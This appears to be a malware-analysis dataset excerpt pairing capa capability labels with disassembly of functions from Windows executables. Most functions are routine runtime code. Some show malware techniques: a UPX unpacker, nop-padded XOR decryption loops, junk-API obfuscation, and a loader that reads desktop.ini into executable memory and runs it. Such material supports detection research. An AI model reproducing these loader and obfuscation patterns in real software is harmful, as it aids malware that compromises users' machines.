joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014f8
Capabilities:
Accept command line arguments
Allocate thread local storage
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, section..data
test word [0x4014da], 4
jne 0x401513
jmp fcn.00401745
jmp 0x401942
cmp dword [ebp + 0xc], 1
jne 0x4019a0
call fcn.00401641
lea eax, [ebx + 0x5c4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
call fcn.004016e7
mov dword [ebx + 0x3e0], eax
mov eax, dword [ebp + 8]
mov dword [ebx + 0x3ec], eax
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x3f4], eax
call fcn.00401518
jb 0x4019fb
inc word [ebx + 0x3e8]
movzx ecx, word [0x4014d8]
jecxz 0x4019a0
push ecx
push 8
push esp
call dword [0x43b000]
pop eax
pop eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0x3f0], eax
cmp eax, 2
jne 0x4019b3
call fcn.00401824
push ebx
call fcn.0040158d
pop ebx
cmp dword [ebx + 0x3f0], 3
jne 0x4019c8
call fcn.0040185d
cmp dword [ebx + 0x3f0], 0
jne 0x4019fb
mov ecx, dword [ebx + 0xd8]
call fcn.00401a09
mov ecx, dword [ebx + 0xb4]
jecxz 0x4019eb
push ecx
call dword [0x43b000]
mov edi, dword [ebx + 0x428]
call fcn.00401592
call fcn.00401579
movzx eax, word [ebx + 0x3e8]
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x401518
Capabilities:
Allocate thread local storage

Disassembly:
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
stc
je 0x401578
mov dword [ebx + 0x3d0], eax
mov dword [ebx + 0x3d8], 0
mov dword [ebx + 0x3d4], 0
call fcn.00401824
jb 0x401578
mov dword [ebx + 0x3d4], eax
mov word [eax + 0xac], 8
call fcn.00401567
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x401581
push ebx
jb 0x4015ce
add byte [esi - 4], bl
mov bl, 0xd0
add eax, dword [eax]
add bh, bh
adc eax, sym.imp.KERNEL32.DLL_TlsFree
ret

Function at 0x401a13
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
sub esp, 0x170
mov dword [esp], eax
mov dword [esp + 4], ecx
and eax, 0x7fff
mov esi, eax
cld
xor eax, eax
mov ecx, 4
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x5c]
call fcn.00401de6
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], si
lea eax, [esp + 8]
lea ebx, [esp + 0x18]
mov edi, dword [esp + 4]
push edi
push 0
push 0xc
mov ecx, esp
push eax
push ebx
push 0
push 0
push 0x20
push edi
push ecx
push ecx
push edx
push 0
mov edx, dword [sym.imp.KERNEL32.DLL_CreateProcessA]
call fcn.00402128
pop ecx
pop ecx
pop ecx
jae 0x401a96
test eax, eax
je 0x401add
mov ebx, dword [esp + 0x10]
test dword [esp], 0x8000
je 0x401abd
push 0xffffffffffffffff
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [esp + 8]
push eax
push esp
push eax
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
pop ebx
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
add esp, 0x170
pop edi
pop esi
pop ebx
ret
add esp, 0x170
pop edi
pop esi
pop ebx
xor eax, eax
jmp 0x401751
Function at 0x401aed
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edx, ecx
mov esi, dword [ebp - 0x88]
mov esi, dword [ebp + esi - 0x6c]
call fcn.00401bce
test eax, eax
jns 0x401b06
add eax, ecx
test edx, edx
je 0x401b46
jns 0x401b11
add edx, ecx
js 0x401b46
inc edx
dec edx
add esi, edx
sub ecx, edx
jae 0x401b1a
xor ecx, ecx
cmp ecx, eax
jb 0x401b20
mov ecx, eax
call fcn.00401b72
jb 0x401b4a
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401c42
mov esi, dword [ebp - 0x88]
mov dword [ebp + esi - 0x6c], edx
pop edi
pop esi
ret
xor edx, edx
jmp 0x401b34
pop edi
pop esi
jmp fcn.0040175c

Function at 0x401c5c
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov esi, dword [ebp - 0x88]
mov esi, dword [ebp + esi - 0x6c]
add dword [ebp - 0x88], 4
test esi, 1
je 0x401c7c
and esi, 0xfffffffe
jne 0x401c86
xchg dword [ebx], esi
call fcn.00401ba6
pop edi
pop esi
ret
call fcn.00401bce
mov edi, dword [ebx]
or edi, edi
je 0x401c96
cmp ecx, dword [edi - 4]
je 0x401cb6
call fcn.00401b72
jb 0x401cc6
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xchg dword [ebx], edx
mov esi, edx
call fcn.00401ba6
pop edi
pop esi
ret
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
xchg dword [ebx], edx
mov esi, edx
call fcn.00401ba6
pop edi
pop esi
jmp fcn.0040175c

Function at 0x401d1e
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [ebp - 0x88]
mov eax, dword [ebp + esi - 0x6c]
add dword [ebp - 0x88], 4
pop esi
test eax, 1
jne 0x401d3e
mov dword [ebx], eax
pop edx
push eax
push edx
ret
push esi
push edi
mov esi, eax
call fcn.00401bce
call fcn.00401b72
jb 0x401d63
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov dword [ebx], edx
pop eax
push edx
push eax
ret
pop edi
pop esi
mov dword [ebx], edx
pop ebx
push edx
push ebx
jmp fcn.0040175c

Function at 0x401e2b
Capabilities:
Terminate process

Disassembly:
push ebx
push ecx
push esi
push edi
mov edi, dword [ebp - 0x88]
mov esi, dword [ebp + edi - 0x6c]
call fcn.00401bce
mov ebx, ecx
push esi
mov esi, dword [ebp + edi - 0x68]
call fcn.00401bce
add ebx, ecx
xchg ecx, ebx
call fcn.00401b72
jb 0x401e9b
xchg ecx, ebx
sub ebx, ecx
cld
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
mov ecx, ebx
push ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x88]
mov esi, edx
xchg dword [ebp + edi - 0x68], esi
call fcn.00401ba6
mov esi, dword [ebp + edi - 0x6c]
call fcn.00401ba6
add dword [ebp - 0x88], 4
pop edi
pop esi
pop ecx
pop ebx
ret
pop esi
pop edi
pop esi
pop ecx
pop ebx
jmp fcn.0040175c
Function at 0x404e00
Capabilities:
Get disk information

Disassembly:
sub esp, 0x83c
mov eax, dword [esp + 0x840]
mov edx, dword [eax]
push ebx
push ebp
mov ebp, dword [0x44c768]
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x44c76c]
xor ebx, ebx
mov dword [esp + 0x34], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x28], edx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x30], 0x9e3779b9
call fcn.00404dd0
mov ecx, dword [0x44c770]
mov eax, dword [0x44c774]
add dword [esp + 0x14], 0x23f
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], 0x20
jmp 0x404e74
mov edx, dword [esp + 0x28]
mov dword [esp + 0x1c], 2
add dword [esp + 0x1c], 3
mov eax, dword [0x70c7f4]
mov ecx, edx
shl ecx, 4
add ecx, dword [esp + 0x3c]
mov dword [esp + 0x10], ecx
cmp eax, 0xfa9
jne 0x404ea6
mov dword [0x70c7f0], 0xedeb2e40
jmp 0x404eb3
cmp eax, 0x3eb
jne 0x404eb3
mov dword [0x7096f8], ebx
mov eax, dword [esp + 0x28]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x14]
add dword [esp + 0x20], eax
mov ecx, dword [esp + 0x1c]
shr edx, cl
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x24]
mov dword [0x70c7ec], 0xf4ea3dee
mov dword [esp + 0x24], edx
call fcn.00404de0
mov eax, dword [esp + 0x20]
xor dword [esp + 0x10], eax
mov esi, dword [esp + 0x24]
xor esi, dword [esp + 0x10]
cmp dword [0x70c7f4], 0x213
jne 0x404f46
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push ebx
push ebx
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea edx, [esp + 0x4c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
lea eax, [esp + 0x44]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
sub edi, esi
mov eax, edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x24], edi
call fcn.00404dc0
add dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x14]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x24]
nop
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x34]
mov eax, dword [esp + 0x20]
xor dword [esp + 0x10], eax
cmp dword [0x70c7f4], 0x121
jne 0x404f9b
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
mov ecx, dword [esp + 0x10]
xor ecx, esi
lea eax, [esp + 0x28]
mov dword [esp + 0x10], ecx
call fcn.00404df0
mov eax, dword [esp + 0x30]
sub dword [esp + 0x14], eax
sub dword [esp + 0x2c], 1
jne 0x404e70
mov eax, dword [esp + 0x850]
mov ecx, dword [esp + 0x28]
mov dword [eax + 4], edi
pop edi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x83c
ret 4
Function at 0x404fe0
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, 0x203c
call fcn.00416900
mov eax, dword [0x70c7f4]
mov ecx, dword [0x7096fc]
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x40516b
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateActCtxA]
mov esi, dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [0x70c7f4], 0x959
jne 0x405151
push 0
push 0
call edi
push 0
lea eax, [esp + 0x4c]
push eax
push 0x40370c
call ebx
lea ecx, [esp + 0x28]
push ecx
call ebp
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x84c]
push eax
push 0x403738
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x144c]
push edx
push 0
push 0x403744
push 0x403760
push 0x40379c
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
lea ecx, [esp + 0xc50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
lea edx, [esp + 0x184c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0x4037b4
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
push 0x4037bc
push 0x4037e8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0
push 0
push 0
call esi
mov eax, dword [esp + 0x14]
push eax
call fcn.00404e00
add dword [esp + 0x14], 8
sub dword [esp + 0x18], 1
jne 0x405024
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x203c
ret
Function at 0x40912d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b208]
jne 0x409137
repz ret
jmp fcn.00410f4c

Function at 0x414b41
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040e5f8
and dword [ebp - 4], 0
cmp dword [0x44ea30], 0
mov ebx, eax
jne 0x414bf2
push 0x402dd0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x414ca3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402dc4
push edi
call esi
test eax, eax
je 0x414ca3
push eax
call fcn.0040e586
mov dword [esp], 0x402db4
push edi
mov dword [0x44ea30], eax
call esi
push eax
call fcn.0040e586
mov dword [esp], 0x402da0
push edi
mov dword [0x44ea34], eax
call esi
push eax
call fcn.0040e586
mov dword [esp], 0x402d84
push edi
mov dword [0x44ea38], eax
call esi
push eax
call fcn.0040e586
pop ecx
mov dword [0x44ea40], eax
test eax, eax
je 0x414bf2
push 0x402d6c
push edi
call esi
push eax
call fcn.0040e586
pop ecx
mov dword [0x44ea3c], eax
mov eax, dword [0x44ea3c]
cmp eax, ebx
je 0x414c4a
cmp dword [0x44ea40], ebx
je 0x414c4a
push eax
call fcn.0040e601
push dword [0x44ea40]
mov esi, eax
call fcn.0040e601
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x414c4a
test edi, edi
je 0x414c4a
call esi
test eax, eax
je 0x414c41
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414c41
test byte [ebp - 0xc], 1
jne 0x414c4a
or dword [ebp + 0x10], 0x200000
jmp 0x414c83
mov eax, dword [0x44ea34]
cmp eax, ebx
je 0x414c83
push eax
call fcn.0040e601
pop ecx
test eax, eax
je 0x414c83
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x414c83
mov eax, dword [0x44ea38]
cmp eax, ebx
je 0x414c83
push eax
call fcn.0040e601
pop ecx
test eax, eax
je 0x414c83
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44ea30]
call fcn.0040e601
pop ecx
test eax, eax
je 0x414ca3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414ca5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41d4b0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x41d638
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x41d4da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41d4e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41d4d0
mov eax, 1
add ebx, ebx
jne 0x41d4f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41d4e8
jne 0x41d504
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41d4e8
xor ecx, ecx
sub eax, 3
jb 0x41d518
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41d58a
mov ebp, eax
add ebx, ebx
jne 0x41d523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41d530
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41d554
inc ecx
add ebx, ebx
jne 0x41d540
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41d535
jne 0x41d551
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41d535
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41d574
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41d565
jmp 0x41d4d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41d574
add edi, ecx
jmp 0x41d4d6
pop esi
mov edi, esi
mov ecx, 0x860
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41d592
cmp byte [edi], 6
jne 0x41d592
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41d597
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41d606
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1edc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1ee3c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41d5c4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1ee40]
or eax, eax
je 0x41d600
mov dword [ebx], eax
add ebx, 4
jmp 0x41d5e1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41d637
cmp al, 0xef
ja 0x41d62a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41d60c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41d619
popal
jmp 0x41237c
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x4c52682e
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x325b767f
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
xor eax, eax
push edi
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x1000202c]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000115b
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000118b
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x100011f1
push edi
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x442004]
jne 0x40100a
repz ret
jmp fcn.0040167e

Function at 0x4080d0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040317f
and dword [ebp - 4], 0
cmp dword [0x444104], 0
mov ebx, eax
jne 0x408181
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408232
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408232
push eax
call fcn.0040310d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x444104], eax
call esi
push eax
call fcn.0040310d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x444108], eax
call esi
push eax
call fcn.0040310d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44410c], eax
call esi
push eax
call fcn.0040310d
pop ecx
mov dword [0x444114], eax
test eax, eax
je 0x408181
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040310d
pop ecx
mov dword [0x444110], eax
mov eax, dword [0x444110]
cmp eax, ebx
je 0x4081d9
cmp dword [0x444114], ebx
je 0x4081d9
push eax
call fcn.00403188
push dword [0x444114]
mov esi, eax
call fcn.00403188
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4081d9
test edi, edi
je 0x4081d9
call esi
test eax, eax
je 0x4081d0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4081d0
test byte [ebp - 0xc], 1
jne 0x4081d9
or dword [ebp + 0x10], 0x200000
jmp 0x408212
mov eax, dword [0x444108]
cmp eax, ebx
je 0x408212
push eax
call fcn.00403188
pop ecx
test eax, eax
je 0x408212
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408212
mov eax, dword [0x44410c]
cmp eax, ebx
je 0x408212
push eax
call fcn.00403188
pop ecx
test eax, eax
je 0x408212
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x444104]
call fcn.00403188
pop ecx
test eax, eax
je 0x408232
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408234
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405f75
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00404dd1
xor ebx, ebx
cmp dword [0x40f8c4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x40604b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40612b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40612b
push eax
call fcn.00404d63
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40f8c4], eax
call esi
push eax
call fcn.00404d63
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40f8c8], eax
call esi
push eax
call fcn.00404d63
mov dword [0x40f8cc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004030c9
test eax, eax
pop ecx
pop ecx
je 0x406019
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404240
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x40604b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404d63
cmp eax, ebx
pop ecx
mov dword [0x40f8d4], eax
je 0x40604b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404d63
pop ecx
mov dword [0x40f8d0], eax
mov eax, dword [0x40f8d0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4060d0
cmp dword [0x40f8d4], ecx
je 0x4060d0
push eax
call fcn.00404dda
push dword [0x40f8d4]
mov esi, eax
call fcn.00404dda
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4060d0
cmp edi, ebx
je 0x4060d0
call esi
cmp eax, ebx
je 0x40609d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40609d
test byte [ebp - 0x18], 1
jne 0x4060d0
lea eax, [ebp - 0x10]
push eax
call fcn.00403100
test eax, eax
pop ecx
je 0x4060b8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00404240
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4060c7
or dword [ebp + 0x10], 0x200000
jmp 0x40610b
or dword [ebp + 0x10], 0x40000
jmp 0x40610b
mov eax, dword [0x40f8c8]
cmp eax, dword [ebp - 8]
je 0x40610b
push eax
call fcn.00404dda
cmp eax, ebx
pop ecx
je 0x40610b
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40610b
mov eax, dword [0x40f8cc]
cmp eax, dword [ebp - 8]
je 0x40610b
push eax
call fcn.00404dda
cmp eax, ebx
pop ecx
je 0x40610b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40f8c4]
call fcn.00404dda
cmp eax, ebx
pop ecx
je 0x40612b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40612d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x43b652
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
and edi, edx
add edx, 0xa64473
call fcn.0043b68a
add edx, edi
xor dword [esi], ebx
add edx, 0x732936da
sub edi, edx
inc esi
add edx, 0xa8af81e0
or edi, edx
cmp esi, eax
jne fcn.0043b652
sub edx, 0x31420fed
add edi, edx
ret